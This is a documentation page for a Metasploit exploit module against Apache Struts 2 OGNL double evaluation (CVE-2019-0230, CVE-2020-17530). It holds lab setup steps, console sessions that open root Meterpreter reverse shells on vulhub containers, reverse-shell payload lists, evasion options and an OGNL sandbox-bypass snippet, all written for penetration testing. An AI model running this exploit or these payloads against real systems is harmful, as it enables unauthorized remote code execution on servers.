Apache Struts 2 Forced Multi OGNL Evaluation - Metasploit
This page contains detailed information about how to use the exploit/multi/http/struts2_multi_eval_ognl metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apache Struts 2 Forced Multi OGNL Evaluation
Module: exploit/multi/http/struts2_multi_eval_ognl
Source code: modules/exploits/multi/http/struts2_multi_eval_ognl.rb
Disclosure date: 2020-09-14
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-0230, CVE-2020-17530
The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE). This vulnerability is application dependant. A server side template must make an affected use of request data to render an HTML tag attribute.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use exploit/multi/http/struts2_multi_eval_ognl
msf exploit(struts2_multi_eval_ognl) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags
attributes such as id
. It is therefore possible to pass in a value to Struts that will be evaluated again
when a tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).
This vulnerability is application dependant. A server side template must make an affected use of request data to render an HTML tag attribute.
Vulnerable versions of Apache Struts for both CVEs are provided by vulhub on GitHub. The setup instructions are identical for both CVEs, just use the provided files in the correct directory.
- Use
git
to clonehttps://github.com/vulhub/vulhub.git
. - Change the current working directory to the one corresponding to the CVE that should be tested. For CVE-2019-0230, use
struts2/s2-059
and for CVE-2020-17530, usestruts2/s2-061
. - From within the directory, run
docker-compose up -d
- (OPTIONAL) Run
docker-compose exec struts2 bash
to obtain an interactive shell within the container. This is useful for debugging purposes.
- CVE-2019-0230 was patched in 2.5.20
- CVE-2020-17530 was patched in 2.5.26
Example Setting Up CVE-2020-17530 / S2-061
[smcintyre@localhost ~]$ git clone https://github.com/vulhub/vulhub.git
Cloning into 'vulhub'...
remote: Enumerating objects: 234, done.
remote: Counting objects: 100% (234/234), done.
remote: Compressing objects: 100% (141/141), done.
remote: Total 10171 (delta 86), reused 191 (delta 69), pack-reused 9937
Receiving objects: 100% (10171/10171), 130.98 MiB | 8.36 MiB/s, done.
Resolving deltas: 100% (4014/4014), done.
[smcintyre@localhost ~]$ cd vulhub/struts2/s2-061
[smcintyre@localhost s2-061]$ docker-compose up -d
Creating network "s2-061_default" with the default driver
Pulling struts2 (vulhub/struts2:2.5.25)...
2.5.25: Pulling from vulhub/struts2
756975cb9c7e: Pull complete
d77915b4e630: Pull complete
5f37a0a41b6b: Pull complete
96b2c1e36db5: Pull complete
27a2d52b526e: Pull complete
93a36defce60: Pull complete
9e2014d79b30: Pull complete
ac71d4ce2ce4: Pull complete
a2f817e4badf: Pull complete
62ac51b7362f: Pull complete
e12f6705ebbe: Pull complete
4f4fb700ef54: Pull complete
97ba98138d72: Pull complete
Digest: sha256:eaf49b95f2c178cca77d3c8454f79a4fe4ed4dd9d342c9e9a911e842565217d2
Status: Downloaded newer image for vulhub/struts2:2.5.25
Creating s2-061_struts2_1 ... done
[smcintyre@localhost s2-061]$ docker-compose exec struts2 bash
root@d37b5ab61b87:/usr/src#
Verification Steps
- Install the vulnerable application, see the "Vulnerable Application" section.
- Start
msfconsole
- Do:
use exploit/multi/http/struts2_multi_eval_ognl
- Set
RHOSTS
to the address of the target(s) to exploit. - Set
CVE
to the ID of the CVE you wish to run against the target: eitherCVE-2020-17530
orCVE-2019-0230
. - Do:
run
Options
NAME
The HTTP query parameter or form data name. This option is closely related to the vulnerability and will likely be
application specific in real world environments. This must be the name of a parameter sent through either a GET or POST
request to the application that is reflected back as an HTML attribute. The module's check
method will utilize this
value to determine if it can be used to evaluate OGNL expressions.
CVE
The CVE to try exploit on RHOSTS
, either CVE-2020-17530
or CVE-2019-0230
.
TARGETURI
The base path to a valid Struts application on the target machine or machines.
CMDSTAGER::DELAY
Delay between command executions. Set this value higher if the target tends to be slow to respond.
HttpCookie
An optional cookie to include when making the HTTP request.
Scenarios
CVE-2020-17530 From Vulhub
msf6 > use exploit/multi/http/struts2_multi_eval_ognl
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set TARGET Linux\ Dropper
TARGET => Linux Dropper
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/struts2_multi_eval_ognl) > check
[*] 192.168.159.128:8080 - The target appears to be vulnerable.
msf6 exploit(multi/http/struts2_multi_eval_ognl) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp using CVE-2020-17530
[*] Command Stager progress - 44.15% done (362/820 bytes)
[*] Sending stage (3008420 bytes) to 172.18.0.2
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 172.18.0.2:46770) at 2020-12-15 19:43:28 -0500
[*] Command Stager progress - 100.00% done (820/820 bytes)
meterpreter > getuid
Server username: root @ d37b5ab61b87 (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 172.18.0.2
OS : Debian 10.6 (Linux 5.9.11-100.fc32.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
CVE-2019-0230 From Vulhub
msf6 > use exploit/multi/http/struts2_multi_eval_ognl
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set CVE CVE-2019-0230
CVE => CVE-2019-0230
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set TARGET Linux\ Dropper
TARGET => Linux Dropper
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/struts2_multi_eval_ognl) > check
[*] 192.168.159.128:8080 - The target appears to be vulnerable.
msf6 exploit(multi/http/struts2_multi_eval_ognl) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp using CVE-2019-0230
[*] Command Stager progress - 44.15% done (362/820 bytes)
[*] Sending stage (3008420 bytes) to 172.19.0.2
[*] Command Stager progress - 100.00% done (820/820 bytes)
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 172.19.0.2:47884) at 2020-12-15 19:47:10 -0500
meterpreter > getuid
Server username: root @ 91f7855f1eda (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 172.19.0.2
OS : Debian 10.5 (Linux 5.9.11-100.fc32.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the multi/http/struts2_multi_eval_ognl exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/struts2_multi_eval_ognl
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/http/struts2_multi_eval_ognl) > show info
Name: Apache Struts 2 Forced Multi OGNL Evaluation
Module: exploit/multi/http/struts2_multi_eval_ognl
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-09-14
Provided by:
Spencer McIntyre
Matthias Kaiser
Alvaro Mu��oz
ka1n4t
Module side effects:
artifacts-on-disk
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CVE CVE-2020-17530 yes Vulnerability to use (Accepted: CVE-2020-17530, CVE-2019-0230)
NAME id yes The HTTP query parameter or form data name
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes A valid base path to a struts application
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
The Apache Struts framework, when forced, performs double evaluation
of attributes' values assigned to certain tags attributes such as
id. It is therefore possible to pass in a value to Struts that will
be evaluated again when a tag's attributes are rendered. With a
carefully crafted request, this can lead to Remote Code Execution
(RCE). This vulnerability is application dependant. A server side
template must make an affected use of request data to render an HTML
tag attribute.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-0230
https://nvd.nist.gov/vuln/detail/CVE-2020-17530
https://cwiki.apache.org/confluence/display/WW/S2-059
https://cwiki.apache.org/confluence/display/WW/S2-061
https://github.com/vulhub/vulhub/tree/master/struts2/s2-059
https://github.com/vulhub/vulhub/tree/master/struts2/s2-061
https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2
https://github.com/ka1n4t/CVE-2020-17530
Module Options
This is a complete list of options available in the multi/http/struts2_multi_eval_ognl exploit:
msf6 exploit(multi/http/struts2_multi_eval_ognl) > show options
Module options (exploit/multi/http/struts2_multi_eval_ognl):
Name Current Setting Required Description
---- --------------- -------- -----------
CVE CVE-2020-17530 yes Vulnerability to use (Accepted: CVE-2020-17530, CVE-2019-0230)
NAME id yes The HTTP query parameter or form data name
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes A valid base path to a struts application
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
Advanced Options
Here is a complete list of advanced options supported by the multi/http/struts2_multi_eval_ognl exploit:
msf6 exploit(multi/http/struts2_multi_eval_ognl) > show advanced
Module advanced options (exploit/multi/http/struts2_multi_eval_ognl):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::DELAY 0.5 yes Delay between command executions
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpCookie no An optional cookie to include when making the HTTP request
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/struts2_multi_eval_ognl module can exploit:
msf6 exploit(multi/http/struts2_multi_eval_ognl) > show targets
Exploit targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/struts2_multi_eval_ognl exploit:
msf6 exploit(multi/http/struts2_multi_eval_ognl) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/struts2_multi_eval_ognl exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/struts2_multi_eval_ognl) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to execute the OGNL preamble
Here is a relevant code snippet related to the "Failed to execute the OGNL preamble" error message:
107: ognl << '#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']'
108: ognl << '#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)'
109: ognl << '#ognlUtil.setExcludedClasses(\'\')'
110: ognl << '#ognlUtil.setExcludedPackageNames(\'\')'
111: res = send_request_cgi(build_http_request(cve, ognl))
112: fail_with(Failure::UnexpectedReply, 'Failed to execute the OGNL preamble') unless res&.code == 200
113: end
114:
115: case target['Type']
116: when :unix_cmd
117: execute_command(payload.encoded, { cve: cve })
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Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2019-0230
- CVE-2020-17530
- https://cwiki.apache.org/confluence/display/WW/S2-059
- https://cwiki.apache.org/confluence/display/WW/S2-061
- https://github.com/vulhub/vulhub/tree/master/struts2/s2-059
- https://github.com/vulhub/vulhub/tree/master/struts2/s2-061
- https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2
- https://github.com/ka1n4t/CVE-2020-17530
See Also
Check also the following modules related to this module:
- exploit/multi/http/struts2_code_exec_showcase
- exploit/multi/http/struts2_content_type_ognl
- exploit/multi/http/struts2_namespace_ognl
- exploit/multi/http/struts2_rest_xstream
- exploit/linux/http/atlassian_confluence_webwork_ognl_injection
- exploit/multi/http/apache_roller_ognl_injection
- exploit/multi/http/atlassian_confluence_namespace_ognl_injection
- exploit/multi/http/atlassian_confluence_webwork_ognl_injection
- exploit/multi/http/stunshell_eval
- exploit/multi/fileformat/js_unpacker_eval_injection
- exploit/unix/webapp/php_eval
- exploit/unix/webapp/php_xmlrpc_eval
- exploit/windows/http/oracle_beehive_evaluation
- exploit/windows/novell/netiq_pum_eval
- auxiliary/admin/pop2/uw_fileretrieval
- auxiliary/scanner/http/oracle_demantra_file_retrieval
- payload/cmd/windows/download_eval_vbs
Related Nessus plugins:
- Apache Struts 2.x <= 2.5.20 Multiple Vulnerabilities
- Apache Struts 2.x < 2.5.26 RCE (S2-061)
- Apache Struts 2.x < 2.5.26 RCE (S2-061) (direct check)
- Oracle MySQL Enterprise Monitor Multiple Vulnerabilities (Apr 2021 CPU)
- Apache Struts 2.0.0 < 2.5.26 Possible Remote Code Execution vulnerability (S2-061)
Authors
- Spencer McIntyre
- Matthias Kaiser
- Alvaro Muñoz
- ka1n4t
Version
This page has been produced using Metasploit Framework version 6.2.4-dev. For more modules, visit the Metasploit Module Library.
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